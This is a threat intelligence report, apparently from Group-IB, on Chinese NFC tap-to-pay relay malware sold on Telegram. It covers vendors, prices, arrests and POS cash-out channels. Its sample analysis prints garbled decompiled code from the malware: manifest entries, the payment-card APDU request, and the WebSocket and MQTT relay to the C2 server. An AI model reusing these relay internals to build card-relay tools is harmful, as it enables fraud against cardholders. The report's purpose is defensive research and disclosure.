Ghost Tapped: Tracking the Rise of Chinese Tap-to-pay Android Malware
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Key Takeaways

Chinese threat actors are deploying NFC-enabled Android applications to carry out unauthorized tap-to-pay transactions remotely using victim’s
bank cards.

Multiple app variants are promoted and sold across Chinese cybercrime communities on Telegram.

Victims are lured into installing APKs and tapping their cards to their device through smishing and vishing campaigns.

lllicitly acquired POS terminals are used for cash-outs, with terminals from major institutions openly advertised on Telegram. At least $355,000 in
illegitimate transactions have been recorded from one POS vendor alone throughout November 2024 — August 2025.

In another observed scenario, mobile wallets preloaded with compromised cards are used by mules across the globe to make purchases.

Over 54 APK samples have been identified, some masquerading as applications of legitimate institutions.

Introduction

Group-IB researchers have observed the growing proliferation of NFC-enabled Android tap-to-pay malware developed and sold within Chinese
cybercrime communities on Telegram.

Also referred to as “Ghost Tap”, these applications are used to relay NFC communications between a victim’s device or a mobile wallet loaded with
compromised payment cards, and the criminal’s device. This technique allows criminals to complete payments or cash-out remotely as though the
victims’ cards were physically present.

Public reporting indicates that victims are targeted via smishing and vishing campaigns, with criminals
luring victims into installing these NFC-enabled malware and tapping their bank cards against their
phone. Payment data is then relayed through a command and control (C2) server operated by the
cybercriminals to their own device, where fraudulently obtained point-of-sale (POS) terminals—
sometimes sold by affiliates of the malware vendors—are then used to cash out funds.

In other instances, criminals use mobile devices with wallets pre-loaded with compromised bank cards
instead of directly targeting individuals. Publicly disclosed arrests by authorities around the globe also
point to networks of mules employed to purchase goods in physical stores using these modified tap-to-
pay applications.

In both scenarios, the tap-to-pay scam typically involves two applications:

How NFC tap-to-pay relay malware works ®GROUP-IB

Figure 1a. How tap-to-pay malware exploits NFC
technology, using a server to relay payment information
from a victim’s device remotely.

A “reader” — installed on the victim’s device to communicate with bank cards
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https://www.group-ib.com/blog/ghost-tapped-chinese-malware/

* A‘“tapper” — installed on the threat actor’s device to conduct transactions

NFC tap-to-pay relay with mule networks @GROUP-B

From August 2024 through August 2025, multiple tap-to-pay applications were documented in the
cybersecurity community, including NGate in August 2024, ZNFC in February 2025, SuperCard X in
April 2025, and most recently, PhantomCard in August 2025.

Figure 1b. NFC tap-to-pay relay is also used by
cybercriminals to make remote purchases with
compromised bank cards through mule networks.

Group-IB Threat Intelligence Portal:

Group-IB customers can access our Threat Intelligence portal for detailed information about TX-NFC, NFU Pay, and other malware profiles.

Threat Actor Profile ® GROUP-IB

First seen
- 4 January 2025

The primary vendor of the Android NFC relay application “TX-NFC”. First
seen in early 2025, the group amassed over 25,000 subscribers on
Telegram, and consists of at least four primary members operating on
Beijing’s timezone to facilitate support for TX-NFC customers, alongside
promoting affiliated point-of-sale (POS) vendors’ Telegram channels.

Skillset Toolset

Android TX-NFC

Targeted Countries Modus operandi

Europe Greece Indonesia TX-NFC is mainly advertised on Telegram with subscription models
ranging from $45 up to $1,050. The application is distributed in two
distinct versions for victims and cybercriminals.

Malaysia Turkiye Uzbekistan

Other

Motivation

Financial gain
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https://www.welivesecurity.com/en/eset-research/ngate-android-malware-relays-nfc-traffic-to-steal-cash/
https://krebsonsecurity.com/2025/02/how-phished-data-turns-into-apple-google-wallets/
https://www.cleafy.com/cleafy-labs/supercardx-exposing-chinese-speaker-maas-for-nfc-relay-fraud-operation
https://www.threatfabric.com/blogs/phantomcard-new-nfc-driven-android-malware-emerging-in-brazil
https://tap.group-ib.com/ta/actors?ta=741b1ab8625d9011de32d6aca02311ddb0302c79
https://tap.group-ib.com/ta/actors?ta=f70f61d8398b42dc453f650a3856a83700074649

Threat Actor Profile ® GROUP-IB

NFU Pay i

A sole developer of the Android NFC relay application “NFU” which first
appeared on Telegram in early-mid 2025, and gained over 600 subscribers
at the time of detection. NFU Pay is also known for developing the
“PhantomCard” application based on NFU, which is tailor-made for buyers
targeting specific countries.

Skillset Toolset

Android NFU

Targeted Countries Modus operandi
Brazil Italy Malaysia Tirkiye Primarily a Telegram-based vendor, NFU Pay distributes “dual-use”
NFC applications that can be used interchangeably on both victims’
and cybercriminals’ devices. The developer offers customizations
based on buyers’ needs and operational requirements, with 24-hour
Motivation customer support on Telegram. Access plans range from 38 USDT up
to 388 USDT, with time-limited free trials available.

Uzbekistan Other

Financial gain

Malware Profile ® GROUP-IB

TX-NFC e

First seen
26 June 2024

TX-NFC is an Android NFC-relay application which is distributed via social
engineering. TX-NFC is provided as two distinct applications; a “reader”
which is installed on a card-relaying device, and “tapper” which is installed
on the device performing tap-to-pay transactions. Some samples of the
application were also observed to be packed with 360 Jiagu — a Chinese
commercial-packer.

Techniques
T1660 - Initial-access = Phishing
T1541 - Persistence - Foreground persistence
T1541 - Defense-evasion - Foreground persistence
T1406.002 - Obfuscated files or Information - Software Packing
T1426 - System Information Discovery
T1437.001 - Command-and-control - Application Layer Protocol > Web Protocols

T1646 - Exfiltration - Exfiltration Over C2 Channel




Malware Profile ® GROUP-IB

Platforms
Android

First seen
12 June 2025

NFU is an Android NFC-relay application which is also distributed via social
engineering. The application is designed as an “all-in-one” reader and tapper,
unlike other variants. Other NFC-relay applications such as PhantomCard are
developed by the same vendor, and based on NFU with customizations
tailored to buyers’ operational objectives.

Used by Techniques
NFU Pay T1660 - Initial-access » Phishing
T1541 - Persistence - Foreground persistence
T1541 - Defense-evasion - Foreground persistence
T1426 - System Information Discovery
T1437.001 - Command-and-control > Application Layer Protocol > Web Protocols

T1646 - Exfiltration - Exfiltration Over C2 Channel

Background: Notable Arrests & Advisories Around the World
1. In March 2024, Czech Police published a statement detailing the arrest of a 22-year old individual, after receiving a report of a suspicious individual

withdrawing money from ATMs in Prague without using any physical cards.

arrow_drop_down

. Police of the Czech Republic — Police Headquarters of the Capital
City of Prague

Attention!!! - Fraudsters have invented a new system

Detectives arrested a 22-year-old foreigner who was withdrawing money from someone else’s cards from an ATM without ever having them
physically with him. We are looking for other victims.

©On March 20, in the morning, the operations officer received a report of a suspiciously masked man who had been withdrawing money from
an ATM in Prague 1 for a long time. The detectives were on the scene within a few minutes, but the suspicious man was no longer at the ATM.
The detectives immediately started to check with the operations officer to make sure that there was no fraud currently reported in the area,
and this concern was confirmed. The fifty-year-old victim had already gone to the police station and the detectives of the third and eleventh
departments began immediate operational activities. They managed to track down the suspect very quickly through the camera system and
soon arrested him in the shopping center en Namésti Republiky. The foreigner had more than one hundred and sixty thousand crowns in cash
with him and since he withdrew less than forty thousand from the victim's card, it was clear that this was far from the only unauthorized
withdrawal from the ATM that day.

Figure 2a. (Translated) Statement on March 2024 arrest (Credit: Czech Police).

2. In October 2024, a bulletin posted by the Texas Bankers Association highlighted efforts by banks, the United States Secret Service and Federal
Bureau of Investigation to counter a similar NFC-enabled application called “TRACK2 NFC”:

arrow_drop_down
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https://policie.gov.cz/clanek/pozor-podvodnici-vymysleli-novy-system.aspx

TexasBankersAssociation

FCIC issues bulletin on merchant
processing app crimes

10/17/2024

The Texas Financial Crimes Intelligence Center is working alongside banks, the U.S.
Secret Service and the Federal Bureau of Investigation to counter a merchant
processing vulnerability due to an app threat dubbed “TRACK2 NFC.”

TRACK2 NFC duplicates an NFC transaction and utilizes specific card numbers and
NFC tokens to force merchant payment terminals into an offline transaction mode.
Once forced, the terminal does not seek approval for the transaction, resultingin a
forced offline transaction that will never provide payment from the merchant
processor or banking institution.

Figure 2b. October 2024 Bulletin (Credit: Texas Bankers Association).
3. In November 2024, two Malaysian and three Chinese nationals were apprehended in Singapore. According to The Straits Times, the individuals
were carrying out contactless payments at high-value stores without using physical cards.
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https://www.texasbankers.com/fcic-issues-bulletin-on-merchant-processing-app-crimes/
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Figure 2c. Apprehended suspects (Credit: The Straits Times).
4. In January 2025, Credit China - Sichuan issued an advisory detailing two cases in which victims were targeted through NFC-based applications,
with the victims losing at least $13,000.
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Mr. Li received a call from someone claiming to be from an airline customer service representative.
The caller said his flight was canceled due to mechanical failure and asked whether he wanted to
rebook or get a refund. Mr. Li chose to rebook, but the caller further stated that since they had
purchased insurance, a 300 yuan refund could be made to his bank card, but this would require an
"enterprise payment" process. Following the caller's instructions, Mr. Li used his China Merchants Bank
card to subscribe to the "Fangxin Borrowing" service on the Douyin platform and, as instructed,
borrowed a total of 100,000 yuan in two installments. The caller then instructed Mr. Li to download an
app called "NFO-X" and use his phone's NFC card to swipe his card. Mr. Li followed the instructions
and completed two large transactions. When he was asked to swipe his card a third time, he noticed
something unusual, but he had already been defrauded of 98,000 yuan.

Not only Mr. Li, but also Ms. Luo.

Ms. Luo recently received a call from an unknown number who falsely claimed she had subscribed
to the "Douyin membership live streaming service" and would be charged a high fee if she did not
cancel. Ms. Luo added the customer service QQ number provided by the number and downloaded two
app installation packages. One was a conferencing app, the other a payment tool. After enabling
screen sharing, Ms. Luo's phone was remotely controlled, and the screen even went black. The caller
then asked Ms. Luo to hold her bank card against the NFC recognition area of her phone and
instructed her not to touch it. Shortly thereafter, the caller sent a fake message saying "membership
has been successfully deactivated” and disconnected. Ms. Luo and her family checked and discovered
that the funds in her bank card had been withdrawn.

Figure 2d. (Translated) Advisory highlighting January 2025 cases (Credit: Credit China — Sichuan).
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https://www.straitstimes.com/singapore/scam-syndicates-sending-foreigners-into-singapore-to-cheat-retailers-like-apple-store-and-best-denki
https://credit.sc.gov.cn/xysc/c100555/202501/b99030f354994949a065512b914036b2.shtml

5. In March 2025, 11 Chinese nationals were arrested in Knoxville, Tennessee after purchasing gift cards worth “tens of thousands of dollars” using
Android mobile applications. The Knox County Sheriff’s office stated that the arrests were the first of their kind in the United States.

arrow_drop_down

Arrests in Tap-to-Pay Scheme Powered by Phishing

March 21, 2025 11 Comments

Authorities in at least two U.S. states last week independently announced arrests of Chinese nationals
accused of perpetrating a novel form of tap-to-pay fraud using mobile devices. Details released by
authorities so far indicate the mobile wallets being used by the scammers were created through online
phishing scams, and that the accused were relying on a custom Android app to relay tap-to-pay
transactions from mobile devices located in China.

Figure 2e. Article highlighting arrests in the United States in March 2025 (Credit: Krebs on Security).

6. Visa Payment Ecosystem Risk and Control team’s Biannual Threats Report, Spring 2025, also details the continued use of NFC-enabled malicious
applications based off NFCGate to carry out relay fraud.

arrow_drop_down

Near Field Communication (NFC) Code Used in Relay Fraud

Visa PERC identified a continuation of the use of Near It is important for individuals to be vigilant and remain wary
Field Communication (NFC) relay attacks in which of downloading applications from potential threat actors.
threat actors use a malicious mobile application and Lastly, Visa PERC assesses that threat actors will continue to
sophisticated social engineering schemes to convince attempt to exploit misconfigurations in POS environments
victims to unknowingly participate in this scheme and and settings, and issuers, acquirers, and merchants should
provide payment information. remain vigilant in combatting fraud related to offline

Since Visa PERC first reported on this fraud scheme, transaction fraud schemes.

threat actors continue to use the open-source project Enhanced monitoring, strict controls around token
NFCGate to conduct relay attacks. NFCGate enables a provisioning, employee training, and industry collaboration
malicious application to capture, analyze and modify are essential to combat these sophisticated fraud schemes.
NFC data. This data can then be sent from the victim's Visa PERC will continue to monitor and report on emerging
device to multiple threat actor devices anywhere in the threats to support clients in maintaining secure and trusted
world. Threat actors then monetize the victim's payment environments.

payment information at a different physical location.

Figure 2f. Visa PERC Biannual Threats Report, Spring 2025.

Overview of Chinese Tap-to-pay Malware Ecosystem

This section highlights the most prominent vendors observed during the research period. Note that this is not intended to be a comprehensive census
of all active tools or vendors, as the scheme appears to be continuously evolving with new vendors and applications entering the market.

The tap-to-pay malware described in this blog are primarily distributed and advertised within Chinese cybercrime communities on Telegram, where
they are sometimes referred to as “CardWallet” or “remote pay” tools.

Group-IB’s Threat Intelligence team have identified three major vendors in these communities during the research period, including TX-NFC, X-NFC
and NFU Pay, as well as other smaller-scale vendors redistributing or promoting variants of these applications.

While multiple variants were also detected, their core functionality remains consistent, with differences mainly being user interface and design, plus
scale of distribution and promotion.

1. TX-NFC

One of the largest vendors identified on Telegram is TX-NFC, established on the 7th of January, 2025. The channel had over 21,000 subscribers at the
time of detection. The group is administered by three individuals and offers customer support in English, with support staff operating on shifts from
18:00 to 10:00 & 08:00 to 12:00 Beijing time.
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This vendor promotes an application also named “TX-NFC”, with prices ranging from $45 for one day of access up to $1,050 for three months of
access. TX-NFC is distributed as two separate applications: One as a “reader” and another as a “tapper”, each serving their respective function
exclusively.

TX-NFC B 3E

o 2MBLRERE TR
o PHEFE AR
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& 95UFF AT BT

TXER
2 EREETFoR-FE10R)
(tREER L8m-ER2 )

Customer Service :
@ English

Figure 3a. TX-NFC’s Telegram channel.

Signature NFC popular model

TX—NFC2.0

1day/1 DAY
1week/1 WEEK

1month/IMONTHS

Figure 3b. TX-NFC Pricing information & feature list.
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Figure 3c. TX-NFC Reader (top) and Tapper (bottom).

o~y

Figure 3d. TX-NFC Reader processing a payment card.

BuzUOInY

Figure 3e. TX-NFC Tapper used with a POS terminal.
2. X-NFC

Another vendor; X-NFC, was first seen on the 16th of December, 2024, and had already garnered over 5,000 members in its Telegram group.

Notably, this vendor introduces a new feature, where users can select the device running X-NFC as a “card” or “pos”, allowing a single device to
operate as either reader or tapper via the same application.
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X-NFC(ZFZFMEH)

R EBIREE
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Figure 4a. X-NFC'’s Telegram channel.

Product introduction

1-day package 60U

Exclusive Server Month) 40U

Figure 4b. X-NFC Pricing information.

Figure 4c. X-NFC Reader (left) and Tapper (right).

Figure 4d. X-NFC Reader processing a card from Apple
Pay.
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Figure 4e. X-NFC Tapper used with a POS terminal.

3. NFU Pay

NFU Pay was first seen on the 1st of April, 2025, and while this vendor maintains a comparatively lower number of subscribers, their application
appears to be redistributed by other vendors under different names.

The NFU application offers the same dual-use feature seen in X-NFC, where users can select whether the device with NFU installed is a “reader” or
“tapper”.

NFU Pay

NFU- iR BT RNFCE+, RAAR-
8 -=R c

Figure 5a. NFU Pay’s Telegram channel.

gister an account

e fill in your usernam
ter to complete the login.

1are a swipe user wh
ilt payment applica

pport: compatible with
payment and data
erl

nd registration: free
experience for 30 minutes.

9. &% Price 38usdt for 1 day, 15

10. O s including reading cards and
swiping

1 I.ﬁ d the virtual wallet ca not turn on the
a

1 card number mode.

Watch the video fo 't understand,
p‘EESE contact customer

& Pric ul day, 158u7 d

The first choice is to log in to the app first.

Figure 5d. NFU Reader (left) and Tapper (right).
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We put the mobile phone close to the card.

Figure 5e. NFU Reader processing a payment card.

Figure 5f. NFU Tapper used with a POS terminal.

App Sample Analysis

TX-NFC

As with many other tap-to-pay applications, some TX-NFC samples are both obfuscated and packed using 360 Jiagu; a Chinese commercial-packer:

AhnLab-V3 BitDefenderFalx

ESET-NOD32 Ikarus

Figure 6. VirusTotal — Packed TX-NFC sample (SHA1: 2bab45078f0b1384c6f5afd8e341231c9555abce).

As defined in its manifest file, the application requires NFC hardware and card emulation to function:

<uses-feature
android:name="android.hardware.nfc"
android:required="true"/>

<uses-feature
android:name="android.hardware.nfc.hce"
android:required="true"/>

TX-NFC requests the following permissions to access NFC hardware, access the internet and continue running if the user is not directly using the
application:

android.permission.NFC
android.permission.INTERNET
android.permission.FOREGROUND_SERVICE

The application has two activity components, the first of which; “LoginActivity” handles user authentication and serves as the application’s main
entrypoint:

IATIN"
. LAUNCHER"

Figure 7. LoginActivity manifest entry.

The second activity, “MainActivity” handles intents when an NFC tag is discovered by the device:
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android:name=
android
android

android:name

android: name
android: source

Figure 8. MainActivity manifest entry.

In MainActivity, a resource file (nfc_tech_filter.xml) is defined which contains a list of NFC tag types that trigger MainActivity when discovered:

Class Standard/type
android.nfc.tech.lsoDep ISO 14443-4
android.nfc.tech.NfcA ISO 14443-3A
android.nfc.tech.NfcB ISO 14443-3B
android.nfc.tech.NfcF JIS 6319-4
android.nfc.tech.NfcV ISO 15693
android.nfc.tech.Ndef NFC Data Exchange Format

android.nfc.tech.NdefFormatable NFC Data Exchange Format
android.nfc.tech.MifareClassic MIFARE Classic

android.nfc.tech.MifareUltralight ~ MIFARE Ultralight

Upon logging in, TX-NFC sends the username, password and device ID to the C2 server:

.findViewByTId(R.id.edit
-findViewById(R.id.edit

tRootView();

(popuphindow
bVar.f4a.showAtLocation(rootView,

avar.
aVar.

aVar.

avar.a( Setti r (LoginAct. ,

a.a.a.e.a(a.b.a.a.a.d(new s ilde h.f1aa, tivity. ApplicationContex

Figure 9. LoginActivity performs initial authentication.

When an NFC tag is discovered, MainActivity is called which performs basic checks, attempts to communicate with the NFC tag and handles failures:
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onNewIntent(Intent intent) Resources.NotFoundException, IOException, CloneNotSupportedexception {
String string;
d.d(intent, "intent™);
String action = intent.getAction();
("android.nfc.action.TAG_DISCOVERED".equals(action) || "android.nfc.action.TECH_DISCOVERED".equals(action) || "android.nfc.action.NDEF_DISCOVERED".equals(action)) {
Parcelable parcelableExtra = intent.getParcelablekxtra("android.nfc.extra.TAG");
d.b(parcelableExtra);
Tag tag = (Tag) parcelableExtra;
IsoDep isoDep = IsoDep.get(tag);
(isoDep ==
u(“card not support");
return;
}
.t = isoDep;
{
b3 (I0Exception e2) {
e2.printStackTrace();
System.out.println( "

(isoDep -- ) {
d.h("cisodep");

3

}

isoDep.connect();
(TextUtils.isEmpty("44444")) {
u("read failure,move and try again");
return;

}
Figure 10. MainActivity triggers upon NFC tag proximity.

The application then sends the APDU command “2PAY.SYS.DDFO01” (Proximity Payment System Environment) to the NFC tag, and stores the
available application IDs from the response:

LinkedHashMap linkedHashMap = LinkedHashMap();
linkedHashMap.put(“cardnum”, "44444");
linkedHashMap.put(“type”, "VISA");
WebSocketService.k = 8
wWebsocketService.n = linkedHashMap;
String strs = s("@0A404000E325041592E5359532E444446303100");
String strc = h.c(h.e(strs));
d.c(strc, "aids");
linkedHashMap.put(“aids™, strcC);
(!Textutils.isEmpty(strs)) {
Map<String, String> map = WebSocketService.p;
d.c(map, "WebsSocketService.RESPONSEMAP");
map.put(“res", strs);
b
string strF = j().f(linkedHashMap);
IsoDep isoDep2 = Biss
(isoDep2 == ) {
d.h("cisodep™);

k]

Figure 11. If it's a payment card, MainActivity will store the relevant data returned.

MainActivity then starts WebSocketService, which is responsible for communicating with the C2 server and relaying messages between the threat
actor’s device (tapper) and the victim’s device (reader):

(WebSocketService.j.equals("closed")) {
Intent intent = Intent(getApplicationContext(), (Class<?>) WebSocketService. )s
intent.putExtra("token", string);

intent.putExtra("type", string2);
getApplicationContext().startService(intent);

Figure 12. MainActivity then starts WebSocketService to communicate with the C2 server.

String b(IsoDep isoDep, String str) {
((isoDep = && isoDep.isConnected()) && !Textutils.isEmpty(str)) {
{
return a(isoDep.transceive(e(str)));
} (I0Exception e2) {

e2.printstackTrace();

}
} nn

return "";




Figure 13. Method responsible for relaying APDU commands to the NFC tag.

a(String str, String str2) {
HashMap map HashMap();
map.put(“cm str);
map.put ("t , f1586g);
map.put(’ 5 s
(! Textutils.isEmpty(str2)) {
map.put(“data”, str2);

String strf = JjO).f(map);
le levar = f1585f;
(levar I= ) {
lovar.e(strF);

Figure 14. WebSocketService — message relay.

NFU

NFU requests permissions related to NFC, networking and broader device permissions:

android.permission.NFC
android.permission.NFC_PREFERRED_PAYMENT_INFO
android.permission.WAKE_LOCK
android.permission.ACCESS_NETWORK_STATE
android.permission.INTERNET
android.permission.READ_PHONE_STATE
android.permission.FOREGROUND_SERVICE
android.permission.FOREGROUND_SERVICE_DATA_SYNC
android.permission.USE_EXACT_ALARM
android.permission.VIBRATE
android.permission.SCHEDULE_EXACT_ALARM

LoginActivity is the main entry point of NFU, which performs limited device fingerprinting, handles user authentication and sets the application’s state
as a reader or tapper.

Log.d(TAG, "o g G SI");
andr Settings.Secure.getString(getContentResolver(), ":
Log.d(" t id i "+ .androidid);
AlertDialog.Builder( , R.style.CustomDialog).setView(R.layout.layout_ progress_dialog).setCancelable( )-create();
oggedIn( N {
3 o

startActivity Intent( » (Class<?>) MainActivity. ));
finish();

Figure 15. Collection of the Android ID & handling pre-authenticated users.

radioGroup.setOnCheckedChangelListener( RadioGroup.0OnCheckedChangelListener() {

onCheckedchanged(RadioGroup radioGroup2, int i) {
(i == R.id.rb_server) {
Utils.savelIsPosMode(LoginActivity.
Utils.isServer 8
Utils.clientId "p erminal™;

{
utils

Utils.isServer
Utils.clientId =

Figure 16. User-set application state; POS_terminal (tapper) or Card_reader (reader).

Upon logging in, the username, password, device’s Android ID and application’s state (POS_terminal/Card_reader) are sent to the C2 server:
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login(Context context, String str, String str2, String str3,

jsonobject.

getclient(context).newcall( Request.Builder().url("http
addHeader ("\ ion", Utils.getAppVersionCode(context) + "").addHeader("l
enqueue(

allback() {

onFailure(Call call, IOException iOException) {
apicallback.onError(i0Exception.getMessage());

String stra, callback apicallback) JSONException {

n").addHeader("to
h™).post(RequestBody.create(j

» str3).addHeader("uuid”, str3).
ject.toString(), JSON)).build()).

I0Exception {

+ strstring);
apicCallback.onSuccess( Object(strstring));
(JSONException e) {

apicallback.onError (" S " + e.getMessage());

NException e) {

apicallback.onerror (" : "+ e.getMessage());

Figure 17. ApiService.login method.

Once the user is authenticated, MainActivity handles basic checks such as ensuring the app has NFC permissions, and prompts the user to set NFU

as the default NFC payment application:

kDefault() {

nterface.OnClickL:

Figure 18. MainActivity checks for permissions and default payment app.

Unlike TX-NFC, NFU uses an MgttService class to handle relaying messages.

When an NFC tag is discovered, it clears the queue and sets up a repeating card connection check:

The MgttService class has defined channels which are used for relaying messages via a websocket

between the reader and tapper through the C2 server:

When a message is received from the C2 server, it is sent using the NfcService class to the NFC tag:

getsinglenane(), €2);

Figure 19b. NfcService.
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Figure 19c. NfcService.

Figure 20a. MqttService.

Figure 20b. MqttService.

String sendData(String str) IDException {

decode(str)));

Figure 21. NfcService.

Code overlaps & custom variants

While conducting this research, Group-IB investigators posed undercover as potential buyers, and in a conversation with the threat actor, the
administrator of NFU Pay divulged that they provide customized builds upon request, with modifications for Brazil and Italy reportedly including the
removal of login requirements on the reader’s side, likely intended to facilitate faster victim targeting. As observed in the PhantomCard discovery, the
application also appears to be an NFU variant.

Similarly, TX-NFC also appears to be based on another project; NFCProxy, which is available on GitHub.

This is evident by the similar package names:

package="org.eleetas.nfc.nfcproxy"

Figure 22. TX-NFC sample package name (left), NFCProxy package name (right).

In addition to both applications having the same main activity name and definitions:
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<activity
.eleetas.nfc.nfcproxy.SelectorActivity™
tring/app_name™

true™

id:name="android. intent.action.MAIN" />

d:name="android.intent.category.LAUNCHER™ />

<intent-filter>

<action and d:name="android.nfc.action.NDEF_DISCOVERED" />
S
id:name="android. intent.category.DEFAULT"/>

<intent-filter>
<action android:name="android.nfc.action.ACTION_TECH_DISCOVERED"/>
d:name="android. intent.category.DEFAULT" />
<fintent-filt
<intent-filtel
<action android:name="android.nfc.action.TAG_DISCOVERED™/>
d:name="android. intent.category.DEFAULT"/>
</intent-f

Figure 23. TX-NFC sample main activity (left), NFCProxy main activity (right).
POS Terminal vendors: How tap-to-pay scammers cash out

Oedipus

Oedipus is a Telegram channel closely affiliated with TX-NFC and other tap-to-pay application vendors, which has been operating since the 11th of
November, 2024.

At the time of detection, the channel had amassed over 500 subscribers, with frequent advertisements of POS terminals from financial institutions
worldwide, including the Middle East, Africa, and Asia.

These POS terminals are often used in conjunction with tap-to-pay schemes as a means to cash out stolen funds once the victim’s NFC payment data
has been relayed to the cybercriminal’s device.

Based on information gathered from the Oedipus Telegram channel, the group has conducted roughly
$355,000 in transactions between November 2024 and August 2025 using these illegitimately obtained

Oedipusitt$POST{FE.
POS terminals.
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Figure 24a. Oedipus Telegram channel.
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Figure 24c. POS terminals from the Middle East &
North Africa.
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Figure 24b. TX-NFC advertisement on Oedipus’
Telegram channel.

Figure 24d. POS terminals from the Gulf.
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Figure 24e. Receipts of successful transactions posted
by Oedipus.
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Figure 24e. Receipts of successful transactions posted
by Oedipus.

Daily transactions posted by Oedipus @ GROUP-IB

405312

Figure 25. Transactions posted on Oedipus’ Telegram channel from November 2024 to August 2025.

Tap-to-pay Scams are a Growing Concern

Based on Group-IB Fraud Protection data tracked from May 2024 to December 2025, we can observe a steady increase in the detection of tap-to-pay
malware samples. At the same time, different families and variants are also appearing, while the old ones remain active. This indicates the spread of
this technology among fraudsters. We have also included a breakdown of TX-NFC and NFU statistics below:
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General Statistics (All Variants)

Unique samples, package names & fingerprints ® GROUP-IB

8
2

Unique samples Unique packages Unique fingerprints

TX-NFC eNFU

Figure 26. Breakdown of unique samples, package names & fingerprints by type.

Total detections per country by type @® GROUP-IB
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Figure 27. Total detections per country/region by type.
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Figure 28. Total detections of TX-NFC samples by day.

Total NFU detections by day @® GROUP-IB




Figure 29. Total detections of NFU samples by day.

Recommendations

For financial institutions & payment networks

» Educate end-users about best practices and promote awareness and vigilance around vishing, smishing and other malicious campaigns.

» Leverage Threat Intelligence services for the latest information and updated threat feeds.

» Using a Fraud Protection session monitoring system will enable the detection of malicious applications on user devices, as well as unusual
behavior and logins from compromised devices.

» Monitor for quick successions of card enrolments in mobile wallets.

» Monitor for rapid successions of transactions conducted across a wide geographic area.

» Enhance merchant vetting and strengthen know-your-customer (KYC) checks.

For individuals

« Exercise caution around messages and calls received from unknown numbers, and especially those relating to your financial information or
activity.

» Do not click on suspicious links or download files shared from unknown sources.

« Install applications only through official, trusted sources.

» Continuously review your bank card(s) settings as many mobile banking applications allow for customizable restrictions.

« Proactively inform relevant authorities and your bank in case compromise of your payment card is suspected.

Frequently Asked Questions (FAQ)

1. What is tap-to-pay?

arrow_drop_down

Tap-to-pay is a legitimate form of contactless payment method using Near Field Communication (NFC) technology. This technology enables instant
and secure payment transactions by simply tapping a payment card (such as bank cards and credit cards) or a digital wallet on a smartphone with a
compatible point-of-sale (POS) terminal.

2. If tap-to-pay is secure, how is it exploited?

arrow_drop_down

Victims are tricked into installing NFC-enabled malware and tapping their physical payment cards on their smartphone. Transaction data is captured
and relayed to the cybercriminal’s device through an attacker-controlled server, where it can then be used for transactions as if the victim’s physical
card was present.

3. What are the two common scams that involve tap-to-pay malware?

arrow_drop_down

» Direct victim targeting via smishing (SMS phishing) or vishing (voice call phishing) campaigns. The cybercriminal then uses relayed data to
make unauthorized transactions on illicitly acquired POS terminals.

¢ Mule network. Cybercriminals load compromised or stolen payment details onto mobile wallets on their own devices. They then
employ

4. What are some alternate names for this type of tap-to-pay malware?

arrow_drop_down

¢ Ghost Tap
o NFC Relay
o NFC Proxy
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